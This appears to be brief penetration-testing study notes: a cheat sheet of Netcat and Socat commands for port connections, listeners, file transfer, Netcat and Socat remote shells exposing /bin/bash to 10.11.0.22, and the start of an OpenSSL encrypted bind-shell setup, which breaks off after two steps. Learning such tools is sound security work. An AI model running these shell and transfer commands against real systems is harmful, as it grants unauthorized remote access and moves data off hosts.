Netcat

Connect to a TCP/UDP Port

nc -n -v 10.11.0.22 110

Listen on a TCP/UDP port

nc -lvnp 443

Transfer files

nc -lnvp 443 > test.txt

nc -nv 10.11.0.22 443 < test.txt

Remote adminsitration

nc -nv 10.11.0.22 443 -e /bin/bash

Socat

File transfer

socat TCP4-LISTEN:443,fork file:test.txt

socat TCP4:10.11.0.22:443 file:test.txt,create

Reverse shell

socat -d -d TCP4-LISTEN:443 STDOUT

socate TCP4:10.11.0.22:443 EXEC:/bin/bash

Encrypted bind shell

  1. Client —>openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 365 -out bind_shell.crt
  2. Client —>cat bind_shell.key bind_shell.crt > bind_shell.pem